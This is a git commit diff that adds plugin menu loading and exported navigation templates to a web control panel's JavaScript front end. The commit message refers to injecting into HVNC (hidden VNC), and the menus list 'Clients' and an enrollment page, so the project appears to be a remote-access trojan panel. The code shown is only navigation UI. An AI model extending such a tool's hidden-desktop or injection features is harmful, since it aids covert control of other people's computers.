add more plugin options + don't inject in HVNC if DXGI is set to off.

This commit is contained in:
KingKDot
2026-04-20 18:58:27 -05:00
parent 76337628fb
commit 506e6c3746
7 changed files with 207 additions and 28 deletions
+20 -15
View File
@@ -9,6 +9,7 @@ import {
import { mountNav } from "./nav/template.js";
import { createAdaptiveNavController } from "./nav/layout.js";
import { applyUserRoleUI } from "./nav/role-ui.js";
import { loadPluginNavItems } from "./nav/plugins-loader.js";
const host = document.getElementById("top-nav");
if (host) {
@@ -38,23 +39,27 @@ if (host) {
"/file-share": "file-share-link",
"/purgatory": "enrollment-link",
};
const activeId = activeMap[path];
if (activeId) {
const el = document.getElementById(activeId);
if (el) {
el.classList.add("nav-active");
// Also expand the parent sidebar group if applicable
const group = el.closest(".sb-group");
if (group) {
const btn = group.querySelector(".sb-group-btn");
const children = group.querySelector(".sb-group-children");
const chevron = btn?.querySelector(".sb-chevron");
if (btn) btn.setAttribute("aria-expanded", "true");
if (children) children.classList.add("sb-group-open");
if (chevron) chevron.classList.add("sb-chevron-open");
loadPluginNavItems(activeMap).then(() => {
const activeId = activeMap[path];
if (activeId) {
const el = document.getElementById(activeId);
if (el) {
el.classList.add("nav-active");
// Also expand the parent sidebar group if applicable
const group = el.closest(".sb-group");
if (group) {
const btn = group.querySelector(".sb-group-btn");
const children = group.querySelector(".sb-group-children");
const chevron = btn?.querySelector(".sb-chevron");
if (btn) btn.setAttribute("aria-expanded", "true");
if (children) children.classList.add("sb-group-open");
if (chevron) chevron.classList.add("sb-chevron-open");
}
}
}
}
});
if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) {
refs.logoutBtn.dataset.boundLogout = "true";
refs.logoutBtn.addEventListener("click", async () => {
@@ -0,0 +1,51 @@
import { dropdownItem, sidebarChild } from "./template.js";
export async function loadPluginNavItems(activeMap) {
try {
const res = await fetch("/api/plugins");
if (!res.ok) return;
const data = await res.json();
const plugins = data.plugins;
if (!plugins || !Array.isArray(plugins)) return;
const navPlugins = plugins.filter(
(p) => p.navbar && p.enabled
);
if (navPlugins.length === 0) return;
const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']");
const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']");
const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg;
if (!container) return;
const childContainer = isSidebar
? container.querySelector(".sb-group-children")
: container.querySelector(".nav-dd-menu");
if (!childContainer) return;
const itemsHtml = navPlugins.map((p) => {
const linkId = `plugin-nav-${p.id}`;
activeMap[`/plugins/${p.id}`] = linkId;
const childObj = {
href: `/plugins/${p.id}`,
label: p.navbar.label || p.name,
icon: p.navbar.icon || "fa-cube",
iconColor: "text-slate-300",
linkId: linkId,
};
return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj);
}).join("");
childContainer.innerHTML = itemsHtml;
container.classList.remove("hidden");
} catch (err) {
console.error("Failed to load plugin nav items", err);
}
}
+15 -5
View File
@@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode";
NAVIGATION DATA — single source of truth
────────────────────────────────────────────── */
const NAV_GROUPS = [
export const NAV_GROUPS = [
{
id: "clients",
label: "Clients",
@@ -65,13 +65,21 @@ const NAV_GROUPS = [
{ href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" },
],
},
{
id: "plugin_apps",
label: "Plugin Apps",
icon: "fa-plug",
iconColor: "text-fuchsia-400",
hidden: true,
children: [],
}
];
/* ──────────────────────────────────────────────
TOPBAR — dropdown menus
────────────────────────────────────────────── */
function dropdownItem(child) {
export function dropdownItem(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const badgeHtml = child.hasBadge
? `<span id="enrollment-badge" class="nav-dd-badge hidden"></span>`
@@ -100,8 +108,9 @@ function dropdownGroup(group) {
}
// Dropdown group — wrapper always visible, children control visibility
const items = group.children.map(dropdownItem).join("");
const groupHidden = group.hidden ? " hidden" : "";
return `
<div class="nav-dd-wrapper" data-group="${group.id}">
<div class="nav-dd-wrapper${groupHidden}" data-group="${group.id}">
<button class="nav-dd-group-btn" data-group="${group.id}" aria-haspopup="true" aria-expanded="false">
<i class="fa-solid ${group.icon} ${group.iconColor}"></i>
<span>${group.label}</span>
@@ -217,7 +226,7 @@ function mountTopbar(host) {
SIDEBAR — tree-style expandable
────────────────────────────────────────────── */
function sidebarChild(child) {
export function sidebarChild(child) {
const hiddenCls = child.hidden ? " hidden" : "";
const badgeHtml = child.hasBadge
? `<span id="enrollment-badge" class="sb-badge hidden"></span>`
@@ -246,8 +255,9 @@ function sidebarGroup(group) {
}
// Expandable group — wrapper always visible, children control visibility
const childrenHtml = group.children.map(sidebarChild).join("");
const groupHidden = group.hidden ? " hidden" : "";
return `
<div class="sb-group" data-group="${group.id}">
<div class="sb-group${groupHidden}" data-group="${group.id}">
<button class="sb-group-btn" data-group="${group.id}" aria-expanded="false">
<i class="fa-solid ${group.icon} ${group.iconColor} sb-icon"></i>
<span class="sb-text">${group.label}</span>